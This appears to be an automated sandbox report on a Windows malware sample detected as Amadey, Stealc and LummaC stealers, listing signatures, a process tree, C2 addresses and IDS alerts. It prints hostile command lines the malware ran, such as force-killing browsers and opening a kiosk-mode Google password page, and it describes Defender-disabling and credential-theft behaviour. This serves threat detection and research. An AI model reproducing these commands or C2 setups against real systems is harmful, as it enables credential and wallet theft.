Edit tour

Windows Analysis Report
2fQ8fpTWAP.exe

Overview

General Information

Sample name:	2fQ8fpTWAP.exe renamed because original name is a hash value
Original sample name:	dfc453c8498400fd0f9cd272a842f6e4893a362e9476764a6aec751b224c7eb3.exe
Analysis ID:	1561598
MD5:	72683bf9c6f350a7af5d18a98462fcdf
SHA1:	1fd96a421e53351f72998a1a72f923b36e866a0b
SHA256:	dfc453c8498400fd0f9cd272a842f6e4893a362e9476764a6aec751b224c7eb3
Tags:	exeuser-Chainskilabs
Infos:

Detection

Amadey, Credential Flusher, LummaC Stealer, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Credential Flusher

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

Allocates memory in foreign processes

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Creates multiple autostart registry keys

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Excessive usage of taskkill to terminate processes

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Sigma detected: CurrentVersion Autorun Keys Modification

Sleep loop found (likely to delay execution)

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Uses taskkill to terminate processes

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

2fQ8fpTWAP.exe (PID: 7544 cmdline: "C:\Users\user\Desktop\2fQ8fpTWAP.exe" MD5: 72683BF9C6F350A7AF5D18A98462FCDF)

skotes.exe (PID: 7772 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 72683BF9C6F350A7AF5D18A98462FCDF)

skotes.exe (PID: 7888 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 72683BF9C6F350A7AF5D18A98462FCDF)

skotes.exe (PID: 3344 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 72683BF9C6F350A7AF5D18A98462FCDF)

f20b4c0961.exe (PID: 3576 cmdline: "C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe" MD5: 5E73B0576450ED5FFD50F136A205A42E)

chrome.exe (PID: 4080 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=f20b4c0961.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7976 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2408 --field-trial-handle=2368,i,10457971131075551606,11842695029259908311,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

e2af9f55fd.exe (PID: 3684 cmdline: "C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe" MD5: 925D775A24989DA8E83CABCD00FDE1D3)

d146970153.exe (PID: 7652 cmdline: "C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe" MD5: 09061FE9B6D117A3D40497832BFE6F3F)

taskkill.exe (PID: 7668 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7676 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7796 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7816 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7864 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7872 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7932 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7940 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7988 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7996 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 6692 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

44452951d3.exe (PID: 8092 cmdline: "C:\Users\user\AppData\Local\Temp\1008518001\44452951d3.exe" MD5: 05F8EAD29013AC531082A69C2A003D71)

f20b4c0961.exe (PID: 3848 cmdline: "C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe" MD5: 5E73B0576450ED5FFD50F136A205A42E)

chrome.exe (PID: 3152 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=f20b4c0961.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 5908 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2044 --field-trial-handle=1968,i,2945064441202540453,18024779015295446793,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 2328 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=f20b4c0961.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 1936 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2096 --field-trial-handle=1936,i,3775567142360225983,14065324662938465342,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

firefox.exe (PID: 7060 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 6992 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 2544 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2328 -parentBuildID 20230927232528 -prefsHandle 2276 -prefMapHandle 2268 -prefsLen 25298 -prefMapSize 238442 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {088f43d8-6bb3-42c8-b138-0dc4fcaf2c63} 6992 "\\.\pipe\gecko-crash-server-pipe.6992" 27282f6d910 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 4068 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3172 -parentBuildID 20230927232528 -prefsHandle 1404 -prefMapHandle 1368 -prefsLen 26313 -prefMapSize 238442 -appDir "C:\Program Files\Mozilla Firefox\browser" - {0244d90d-1682-4d12-b197-beaa83464e45} 6992 "\\.\pipe\gecko-crash-server-pipe.6992" 27294e03b10 rdd MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

e2af9f55fd.exe (PID: 7456 cmdline: "C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe" MD5: 925D775A24989DA8E83CABCD00FDE1D3)

d146970153.exe (PID: 2500 cmdline: "C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe" MD5: 09061FE9B6D117A3D40497832BFE6F3F)

taskkill.exe (PID: 4896 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 4796 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 4872 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 4884 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 5532 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5956 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6900 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 2984 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 5952 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 1532 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 4360 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 760 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

e2af9f55fd.exe (PID: 2376 cmdline: "C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe" MD5: 925D775A24989DA8E83CABCD00FDE1D3)

d146970153.exe (PID: 6848 cmdline: "C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe" MD5: 09061FE9B6D117A3D40497832BFE6F3F)

taskkill.exe (PID: 5040 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7108 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

d146970153.exe (PID: 5812 cmdline: MD5: 09061FE9B6D117A3D40497832BFE6F3F)

taskkill.exe (PID: 4872 cmdline: MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}

Threatname: LummaC

{"C2 url": "https://property-imper.sbs/api", "Build Version": "LOGS11--LiveTraffi"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000000A.00000003.2212530060.0000000004E00000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000026.00000002.2702954448.0000000000AA1000.00000040.00000001.01000000.0000000A.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000009.00000003.2189000814.0000000001176000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000B.00000003.2363128747.0000000000700000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000B.00000003.2402388484.0000000000700000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1443898887.0000000004DB0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000003.00000002.1532319346.00000000003F1000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000009.00000003.2216205547.0000000001176000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000007.00000003.1985177506.0000000004BC0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001C.00000002.2408464145.0000000000AA1000.00000040.00000001.01000000.0000000A.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000A.00000002.2254292302.000000000128E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000002.00000002.1523091105.00000000003F1000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000009.00000003.2187778263.0000000001176000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000A.00000002.2253374920.0000000000AA1000.00000040.00000001.01000000.0000000A.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001C.00000002.2416102733.000000000174B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000002.00000003.1482818635.0000000005140000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000009.00000003.2163858876.0000000001176000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000B.00000003.2326994165.00000000006FF000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000B.00000003.2429429740.0000000000700000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000026.00000002.2706190538.0000000001442000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1484037273.00000000005C1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000B.00000003.2321812424.0000000000716000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000003.2164221941.000000000117A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000038.00000003.2755283804.0000000001236000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
0000000B.00000003.2321730162.00000000006FD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001C.00000003.2356073494.0000000005450000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000003.00000003.1492066593.00000000050B0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000026.00000003.2612937099.00000000051D0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000009.00000003.2240820571.0000000001176000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: f20b4c0961.exe PID: 3576	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: f20b4c0961.exe PID: 3576	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: f20b4c0961.exe PID: 3576	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: e2af9f55fd.exe PID: 3684	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: e2af9f55fd.exe PID: 3684	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: f20b4c0961.exe PID: 3848	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: f20b4c0961.exe PID: 3848	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: f20b4c0961.exe PID: 3848	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: d146970153.exe PID: 7652	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
Click to see the 33 entries

Unpacked PEs

Source	Rule	Description	Author
3.2.skotes.exe.3f0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
2.2.skotes.exe.3f0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0.2.2fQ8fpTWAP.exe.5c0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 3344, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\f20b4c0961.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 3344, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\f20b4c0961.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T21:15:17.924994+0100	2028371	3	Unknown Traffic	192.168.2.8	49712	172.67.162.84	443	TCP
2024-11-23T21:15:20.044842+0100	2028371	3	Unknown Traffic	192.168.2.8	49714	172.67.162.84	443	TCP
2024-11-23T21:15:22.399529+0100	2028371	3	Unknown Traffic	192.168.2.8	49716	172.67.162.84	443	TCP
2024-11-23T21:15:25.066584+0100	2028371	3	Unknown Traffic	192.168.2.8	49717	172.67.162.84	443	TCP
2024-11-23T21:15:27.948523+0100	2028371	3	Unknown Traffic	192.168.2.8	49720	172.67.162.84	443	TCP
2024-11-23T21:15:30.641372+0100	2028371	3	Unknown Traffic	192.168.2.8	49729	172.67.162.84	443	TCP
2024-11-23T21:15:32.992623+0100	2028371	3	Unknown Traffic	192.168.2.8	49736	172.67.162.84	443	TCP
2024-11-23T21:15:34.032630+0100	2028371	3	Unknown Traffic	192.168.2.8	49742	172.67.162.84	443	TCP
2024-11-23T21:15:35.020615+0100	2028371	3	Unknown Traffic	192.168.2.8	49743	172.67.162.84	443	TCP
2024-11-23T21:15:39.376580+0100	2028371	3	Unknown Traffic	192.168.2.8	49761	172.67.162.84	443	TCP
2024-11-23T21:15:40.900755+0100	2028371	3	Unknown Traffic	192.168.2.8	49763	172.67.162.84	443	TCP
2024-11-23T21:15:43.342575+0100	2028371	3	Unknown Traffic	192.168.2.8	49772	172.67.162.84	443	TCP
2024-11-23T21:15:46.608807+0100	2028371	3	Unknown Traffic	192.168.2.8	49788	172.67.162.84	443	TCP
2024-11-23T21:15:51.447850+0100	2028371	3	Unknown Traffic	192.168.2.8	49808	172.67.162.84	443	TCP
2024-11-23T21:15:54.076707+0100	2028371	3	Unknown Traffic	192.168.2.8	49815	172.67.162.84	443	TCP
2024-11-23T21:16:00.878719+0100	2028371	3	Unknown Traffic	192.168.2.8	49836	172.67.162.84	443	TCP
2024-11-23T21:19:24.824226+0100	2028371	3	Unknown Traffic	192.168.2.8	50174	52.168.112.67	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T21:15:18.624499+0100	2054653	1	A Network Trojan was detected	192.168.2.8	49712	172.67.162.84	443	TCP
2024-11-23T21:15:20.803738+0100	2054653	1	A Network Trojan was detected	192.168.2.8	49714	172.67.162.84	443	TCP
2024-11-23T21:15:33.680570+0100	2054653	1	A Network Trojan was detected	192.168.2.8	49736	172.67.162.84	443	TCP
2024-11-23T21:15:36.145400+0100	2054653	1	A Network Trojan was detected	192.168.2.8	49743	172.67.162.84	443	TCP
2024-11-23T21:15:41.625958+0100	2054653	1	A Network Trojan was detected	192.168.2.8	49763	172.67.162.84	443	TCP
2024-11-23T21:16:01.622608+0100	2054653	1	A Network Trojan was detected	192.168.2.8	49836	172.67.162.84	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T21:15:18.624499+0100	2049836	1	A Network Trojan was detected	192.168.2.8	49712	172.67.162.84	443	TCP
2024-11-23T21:15:33.680570+0100	2049836	1	A Network Trojan was detected	192.168.2.8	49736	172.67.162.84	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T21:15:20.803738+0100	2049812	1	A Network Trojan was detected	192.168.2.8	49714	172.67.162.84	443	TCP
2024-11-23T21:15:36.145400+0100	2049812	1	A Network Trojan was detected	192.168.2.8	49743	172.67.162.84	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T21:15:43.221895+0100	2019714	2	Potentially Bad Traffic	192.168.2.8	49771	185.215.113.16	80	TCP
2024-11-23T21:16:03.181678+0100	2019714	2	Potentially Bad Traffic	192.168.2.8	49846	185.215.113.16	80	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T21:15:19.023783+0100	2044696	1	A Network Trojan was detected	192.168.2.8	49713	185.215.113.43	80	TCP
2024-11-23T21:15:28.170302+0100	2044696	1	A Network Trojan was detected	192.168.2.8	49721	185.215.113.43	80	TCP
2024-11-23T21:15:35.536219+0100	2044696	1	A Network Trojan was detected	192.168.2.8	49744	185.215.113.43	80	TCP
2024-11-23T21:15:47.283770+0100	2044696	1	A Network Trojan was detected	192.168.2.8	49790	185.215.113.43	80	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T21:15:23.406287+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.8	49716	172.67.162.84	443	TCP
2024-11-23T21:15:54.107729+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.8	49815	172.67.162.84	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T21:15:28.464726+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.8	49719	185.215.113.206	80	TCP
2024-11-23T21:15:45.086395+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.8	49778	185.215.113.206	80	TCP
2024-11-23T21:16:12.934483+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.8	49873	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T21:15:07.074774+0100	2856147	1	A Network Trojan was detected	192.168.2.8	49709	185.215.113.43	80	TCP
2024-11-23T21:20:10.239823+0100	2856147	1	A Network Trojan was detected	192.168.2.8	50198	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
